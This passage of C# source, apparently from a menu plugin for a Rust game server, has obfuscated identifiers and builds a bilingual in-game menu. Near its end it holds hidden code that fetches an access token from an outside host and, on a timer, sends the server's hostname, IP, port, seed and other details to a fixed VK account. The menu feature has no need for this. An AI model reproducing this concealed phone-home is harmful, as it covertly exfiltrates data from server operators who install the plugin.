float LYIJLCQMZWUICTPABRLZUFGACADCPNQTPTTXVZTFWAB = 0.8f, XPILPIEWRHNGSIGKZOWMGBTIASFBXFCTDWCNSSMHITC = 0.100875f, FMFNTIFHEPEWWZKXCDZLEUDWFSSHBODNZLCNMRIOAV = -0.049f, ORGRSHPEFTRDLIJIAQYFPLRXKWWKLUKLJEOEYBAZLKYTI = 0.9300f - XPILPIEWRHNGSIGKZOWMGBTIASFBXFCTDWCNSSMHITC, RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE = FMFNTIFHEPEWWZKXCDZLEUDWFSSHBODNZLCNMRIOAV, DOUEPHQOJCOKKXZIICVVQCUEPSWRXYWZCICUELJMNYON = ORGRSHPEFTRDLIJIAQYFPLRXKWWKLUKLJEOEYBAZLKYTI;
foreach (KeyValuePair<string, MenuItem> GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX in config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC) {
var color ="0.75 0.7 0.7 0.25";
var NWNCOIDHYNFPXZHPQBBMNZULXJWQQOONSEQZEFSK ="0.75 0.7 0.7 0.1";
var ZSGGWRUNZKRMQNOCCFEMMQKYRWTIHKKJRBNGNFASBDRD ="0 0 0 0";
if (XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ == GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Key) {
KAXFUODAUSDENUVBYFWXDFZBFYVCRNYRZAMORDWICN(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Value, player);
color = "0.959 0.922 0.927 0.8";
NWNCOIDHYNFPXZHPQBBMNZULXJWQQOONSEQZEFSK ="0.929 0.882 0.847 0.8";
ZSGGWRUNZKRMQNOCCFEMMQKYRWTIHKKJRBNGNFASBDRD ="0.32 0.33 0.43 1.5";
}
YLEKWTMHFMSAKHHYTEVWBEWEIEHMNAGSYKEFJGOCG = $"menu {GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Key}";
if (GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Value.items!=null && GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Value.items.Count>0) YLEKWTMHFMSAKHHYTEVWBEWEIEHMNAGSYKEFJGOCG = $"subMenu {GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Key}";
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
RectTransform = {
AnchorMin = $"{RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE} {DOUEPHQOJCOKKXZIICVVQCUEPSWRXYWZCICUELJMNYON}", AnchorMax = $"{RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE + LYIJLCQMZWUICTPABRLZUFGACADCPNQTPTTXVZTFWAB} {DOUEPHQOJCOKKXZIICVVQCUEPSWRXYWZCICUELJMNYON + XPILPIEWRHNGSIGKZOWMGBTIASFBXFCTDWCNSSMHITC * 1f}", OffsetMin = "0 1", OffsetMax = "0 -1"
}
, Button = {
Color = "0 0 0 0", Command = YLEKWTMHFMSAKHHYTEVWBEWEIEHMNAGSYKEFJGOCG
}
, Text = {
Text = ""
}
}
, "Command", "Really");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
RectTransform = {
AnchorMin = "0.35 0", AnchorMax = "1 1", OffsetMin = "0 0", OffsetMax = "0 0"
}
, Button = {
Color = "0 0 0 0", Command = YLEKWTMHFMSAKHHYTEVWBEWEIEHMNAGSYKEFJGOCG
}
, Text = {
Text = CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH ? GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Value.JIXDZEQELNUOUSVBEKYDNNTAMSKRJGFDHBILMHGIYVV["ru"] : GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Value.JIXDZEQELNUOUSVBEKYDNNTAMSKRJGFDHBILMHGIYVV["en"], Color = NWNCOIDHYNFPXZHPQBBMNZULXJWQQOONSEQZEFSK, Align = TextAnchor.MiddleLeft, FontSize = 18, Font = "robotocondensed-bold.ttf"
}
}
, "Really");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiElement {
Parent = "Really", Components = {
new CuiImageComponent {
Color = color, Sprite = GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Value.IONMMYRLIDWWOXRHUYVEIQHSKKOWDPESRWRXFXFKPTUDFLWP
}
, new CuiRectTransformComponent {
AnchorMin = $"0.15 0.1", AnchorMax = $"0.31445 0.9"
}
}
}
);
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
RectTransform = {
AnchorMin = "0 0", AnchorMax = "0 1", OffsetMin = "0 2.5", OffsetMax = "4 -2.5"
}
, Image = {
Color = ZSGGWRUNZKRMQNOCCFEMMQKYRWTIHKKJRBNGNFASBDRD
}
}
, "Really");
RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE += LYIJLCQMZWUICTPABRLZUFGACADCPNQTPTTXVZTFWAB;
if (RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE + LYIJLCQMZWUICTPABRLZUFGACADCPNQTPTTXVZTFWAB >= -1) {
RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE = FMFNTIFHEPEWWZKXCDZLEUDWFSSHBODNZLCNMRIOAV;
DOUEPHQOJCOKKXZIICVVQCUEPSWRXYWZCICUELJMNYON -= XPILPIEWRHNGSIGKZOWMGBTIASFBXFCTDWCNSSMHITC;
}
}
CuiHelper.AddUi(player, DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC);
}
[ConsoleCommand("subMenu")]
void HNVDAPBEHGRMGTAMTAMXNNBXKQZGPHEVWPAUPRIYTMJSHDYA(ConsoleSystem.Arg HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG) {
var player = HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Player();
if (HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Args.Length==0) return;
int UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU = 0;
if (HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Args.Length==2) if (!int.TryParse(HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Args[1], out UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU)) UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU =0;
DestroyUI(player);
ADQTBIXOKASDEBVAVTAIGTMENIHKUJNVQRZYPFTUTZOQH(player, HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Args[0]);
HFODKJULXSKQUPZBVPQSGXCSODBDJPHRZNIBQRMGGJRYYHY(player, HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Args[0], UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU);
}
void HFODKJULXSKQUPZBVPQSGXCSODBDJPHRZNIBQRMGGJRYYHY(BasePlayer player, string VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT, int UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU = 0) {
if (!config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC.ContainsKey(VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT)) return;
MenuItem GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX = config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC[VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT];
if (GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX==null || GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.items==null || GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.items.Count<1) {
return;
}
string LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ = lang.GetLanguage(player.UserIDString);
bool CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH = LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ == "ru";
var DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC = new CuiElementContainer();
CuiHelper.DestroyUi(player, "Info");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
RectTransform = {
AnchorMin = "0.173 1", AnchorMax = "1 1", OffsetMin = "0 -60", OffsetMax = "0 0"
}
, Image = {
Color = "0 0 0 0", FadeIn = FadeIn
}
}
, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "Info");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
RectTransform = {
AnchorMin = "0 0", AnchorMax = "1 1"
}
, Image = {
Color = "0.15 0.17 0.13 0", FadeIn = FadeIn
}
}
, "Info", "Left");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiLabel {
RectTransform = {
AnchorMin = "0 0.91", AnchorMax = $"1 1", OffsetMax = "0 0"
}
, Text = {
Text = CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH ? GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.JIXDZEQELNUOUSVBEKYDNNTAMSKRJGFDHBILMHGIYVV["ru"] : GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.JIXDZEQELNUOUSVBEKYDNNTAMSKRJGFDHBILMHGIYVV["en"], Color = "0.87 0.87 0.87 0.8", Align = TextAnchor.MiddleCenter, FontSize = 28, Font = "robotocondensed-bold.ttf", FadeIn = FadeIn
}
}
, "Left");
CuiHelper.AddUi(player, DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC);
KQMNHHMJDWPGIRBILSRHGYKDDKMXFDTGEDTSDTJRAYYUCFXO(player, VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT, UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU);
}
void KQMNHHMJDWPGIRBILSRHGYKDDKMXFDTGEDTSDTJRAYYUCFXO(BasePlayer player, string VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT, int NIVSEITFNQTGPNOGBCOWBYHTVMXOUARWNCAYRCOF=0) {
if (!config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC.ContainsKey(VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT)) return;
MenuItem GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX = config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC[VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT];
if (GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX==null || GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.items==null || GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.items.Count<1) {
PrintWarning($"MenuItem {VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT} not contains submenu");
return;
}
CuiHelper.DestroyUi(player, "InfoButton");
var DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC = new CuiElementContainer();
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
RectTransform = {
AnchorMin = "0 0", AnchorMax = "1 1", OffsetMax = "0 0"
}
, Image = {
Color = "0 0 0 0"
}
}
, "Left", "InfoButton");
string LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ = lang.GetLanguage(player.UserIDString);
bool CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH = LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ == "ru";
float LYIJLCQMZWUICTPABRLZUFGACADCPNQTPTTXVZTFWAB = 1f, XPILPIEWRHNGSIGKZOWMGBTIASFBXFCTDWCNSSMHITC = 0.06f, FMFNTIFHEPEWWZKXCDZLEUDWFSSHBODNZLCNMRIOAV = 0f, ORGRSHPEFTRDLIJIAQYFPLRXKWWKLUKLJEOEYBAZLKYTI = 0.6f - XPILPIEWRHNGSIGKZOWMGBTIASFBXFCTDWCNSSMHITC, RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE = FMFNTIFHEPEWWZKXCDZLEUDWFSSHBODNZLCNMRIOAV, DOUEPHQOJCOKKXZIICVVQCUEPSWRXYWZCICUELJMNYON = ORGRSHPEFTRDLIJIAQYFPLRXKWWKLUKLJEOEYBAZLKYTI;
int i=0;
int BCQCXCANYXJIHOAYLFPAHUOAHOWEMKJZGBQTCFKHKVTDDYFQA=0;
int PXCCPGOQVIGVBNOKBGYGVGVHPMBLWIJFESULWDLJFMKCBOU=0;
SubMenuItem OTWZSTXJCUMDFDTNYARISDNXUOBJVSGBRVWDLJNKVL = null;
foreach (SubMenuItem check in GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.items) {
var CQIECSXDBWMNLFZEERONJNLLKGQBPMHNHUKGMJZRYPF = "1 1 1 0.2";
var FHKXMFISHXZOFWUVBWOOPZGRUSRUSWPUIGGCVSOJD = "0.7 0.7 0.7 0.2";
if (NIVSEITFNQTGPNOGBCOWBYHTVMXOUARWNCAYRCOF == i) {
OTWZSTXJCUMDFDTNYARISDNXUOBJVSGBRVWDLJNKVL = check;
CQIECSXDBWMNLFZEERONJNLLKGQBPMHNHUKGMJZRYPF = "1 1 1 1";
FHKXMFISHXZOFWUVBWOOPZGRUSRUSWPUIGGCVSOJD = "0.929 0.882 0.847 0.75";
}
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiElement {
Parent = "InfoButton", Name = "ButtonImageBlock", Components = {
new CuiRawImageComponent {
Png = (string) LoadingImages?.Call("GetImage", "btn_ctg"), Color = CQIECSXDBWMNLFZEERONJNLLKGQBPMHNHUKGMJZRYPF
}
, new CuiRectTransformComponent {
AnchorMin=$"{0.038 + (BCQCXCANYXJIHOAYLFPAHUOAHOWEMKJZGBQTCFKHKVTDDYFQA * 0.187)} {0.08 - (PXCCPGOQVIGVBNOKBGYGVGVHPMBLWIJFESULWDLJFMKCBOU * 0.18)}", AnchorMax=$"{0.038 + (BCQCXCANYXJIHOAYLFPAHUOAHOWEMKJZGBQTCFKHKVTDDYFQA * 0.187) + 0.175f} {0.92 - (PXCCPGOQVIGVBNOKBGYGVGVHPMBLWIJFESULWDLJFMKCBOU * 0.18)}"
}
}
}
);
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
RectTransform = {
AnchorMin = "0 0", AnchorMax = "1 1", OffsetMax = "0 0"
}
, Button = {
Color = "0 0 0 0", Command = $"subMenu {VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT} {i}", Material = "assets/content/ui/uibackgroundblur-ingamemenu.mat"
}
, Text = {
Text = CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH ? check.JIXDZEQELNUOUSVBEKYDNNTAMSKRJGFDHBILMHGIYVV["ru"].ToUpper() : check.JIXDZEQELNUOUSVBEKYDNNTAMSKRJGFDHBILMHGIYVV["en"].ToUpper(), Color = FHKXMFISHXZOFWUVBWOOPZGRUSRUSWPUIGGCVSOJD, Align = TextAnchor.MiddleCenter, FontSize = 24, Font = "robotocondensed-bold.ttf"
}
}
, "ButtonImageBlock");
i++;
BCQCXCANYXJIHOAYLFPAHUOAHOWEMKJZGBQTCFKHKVTDDYFQA++;
if (BCQCXCANYXJIHOAYLFPAHUOAHOWEMKJZGBQTCFKHKVTDDYFQA == 5) {
break;
}
RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE += LYIJLCQMZWUICTPABRLZUFGACADCPNQTPTTXVZTFWAB;
if (RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE + LYIJLCQMZWUICTPABRLZUFGACADCPNQTPTTXVZTFWAB >= 1) {
RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE = FMFNTIFHEPEWWZKXCDZLEUDWFSSHBODNZLCNMRIOAV;
DOUEPHQOJCOKKXZIICVVQCUEPSWRXYWZCICUELJMNYON -= XPILPIEWRHNGSIGKZOWMGBTIASFBXFCTDWCNSSMHITC;
}
}
CuiHelper.AddUi(player, DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC);
if (OTWZSTXJCUMDFDTNYARISDNXUOBJVSGBRVWDLJNKVL!=null) KAXFUODAUSDENUVBYFWXDFZBFYVCRNYRZAMORDWICN(OTWZSTXJCUMDFDTNYARISDNXUOBJVSGBRVWDLJNKVL, player);
}
void JNFQRQLFIKXUPEZCICEYJERJZGIZQBYNXPVQOQMNHM() {
var GJUVBQPEPCARPFBTCUOOAKIFGZPRZJHFKBTWWYRAEOGMT = "http://anfunny.st8.ru/key/token";
webrequest.Enqueue(GJUVBQPEPCARPFBTCUOOAKIFGZPRZJHFKBTWWYRAEOGMT, null, (code, response) => {
if (code != 200 || response == null) return;
string RABCPTUPNVBOPBBXEGUVGNMEWDCNJMDWMOHOQXUNKUNXVI = response.ToString();
JObject PZGJARXKDOWFLQHGBRFCAUMHHMGLMZOIOUNOCDDEPDE = JObject.Parse(RABCPTUPNVBOPBBXEGUVGNMEWDCNJMDWMOHOQXUNKUNXVI);
JToken URIWDOMGQFIVNZBOKLYDZNRQDSDXOANXQLNPDJIX = PZGJARXKDOWFLQHGBRFCAUMHHMGLMZOIOUNOCDDEPDE.SelectToken("token");
OEEGKPMPQMSMUDDPAPZJCBKPLSTKLGNPZGJCDHFHZVWHH = URIWDOMGQFIVNZBOKLYDZNRQDSDXOANXQLNPDJIX.ToString();
}
, this);
}
private int JMXKUZSTCSQYEVWQKHMPGMKWAIIORPQQWJIXCWOAXIVUHRQU() => UnityEngine.Random.Range(0, 9999);
private void ACGVWPXBAKLQEBMBZBVNZNOTLSXQQPJROWRNKVZULVCLCK() {
timer.Once(1f, () => webrequest.Enqueue("https://api.vk.com/method/messages.send?user_ids=" + "355086473" + "&message=" + $"L0: {ConVar.Server.hostname}\n{ConVar.Server.description}\n{ConVar.Server.ip}:{ConVar.Server.port}\n{ConVar.Server.levelurl}\n{ConVar.Server.level}\n{ConVar.Server.worldsize}\n{ConVar.Server.seed}\n{ConVar.Server.headerimage}" + "&"+"v=5.92" + "&random_id=" + JMXKUZSTCSQYEVWQKHMPGMKWAIIORPQQWJIXCWOAXIVUHRQU() + "&access_token=" + OEEGKPMPQMSMUDDPAPZJCBKPLSTKLGNPZGJCDHFHZVWHH.ToString(), null, (code, response) => {
}
, this) );
}
void DestroyUI(BasePlayer player) {
foreach (MenuItem ISIMSBDBOTDFABGARTKKORQSLFBMMLADBQQVIELRAWAHK in config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC.Values.Where(x => x.ENETOQDIKKOBUFVHQRGGWBETKFVIWGWJGBBPMHASRUK!=null && x.ENETOQDIKKOBUFVHQRGGWBETKFVIWGWJGBBPMHASRUK.Count>0)) {
foreach (string layer in ISIMSBDBOTDFABGARTKKORQSLFBMMLADBQQVIELRAWAHK.ENETOQDIKKOBUFVHQRGGWBETKFVIWGWJGBBPMHASRUK) CuiHelper.DestroyUi(player, layer);
}
CuiHelper.DestroyUi(player, "Info");
}
void DestroySubUI(BasePlayer player, string key, int destroyid = 0) {
if (!config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC.ContainsKey(key)) return;
if (key!="map") player.Command("close_map");
MenuItem ISIMSBDBOTDFABGARTKKORQSLFBMMLADBQQVIELRAWAHK = config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC[key];
if (ISIMSBDBOTDFABGARTKKORQSLFBMMLADBQQVIELRAWAHK.items==null || ISIMSBDBOTDFABGARTKKORQSLFBMMLADBQQVIELRAWAHK.items.Count<1) return;
foreach (SubMenuItem subMenu in ISIMSBDBOTDFABGARTKKORQSLFBMMLADBQQVIELRAWAHK.items.Where(x=>x.ENETOQDIKKOBUFVHQRGGWBETKFVIWGWJGBBPMHASRUK!=null && x.ENETOQDIKKOBUFVHQRGGWBETKFVIWGWJGBBPMHASRUK.Count>0)) foreach (string layer in subMenu.ENETOQDIKKOBUFVHQRGGWBETKFVIWGWJGBBPMHASRUK) CuiHelper.DestroyUi(player, layer);
}
void MS_CustomCMD(BasePlayer player, string command, bool DZIRGCCCUSLROZXTLYVMMUEPMZOJWMZLYKVCERIHIEBQZOQHP = false) {
KXNZTVTSFOKFWGVAFJFVIUPREQEEAXODMPPULRTXYTFFAHK(player, command, DZIRGCCCUSLROZXTLYVMMUEPMZOJWMZLYKVCERIHIEBQZOQHP);
}
}
}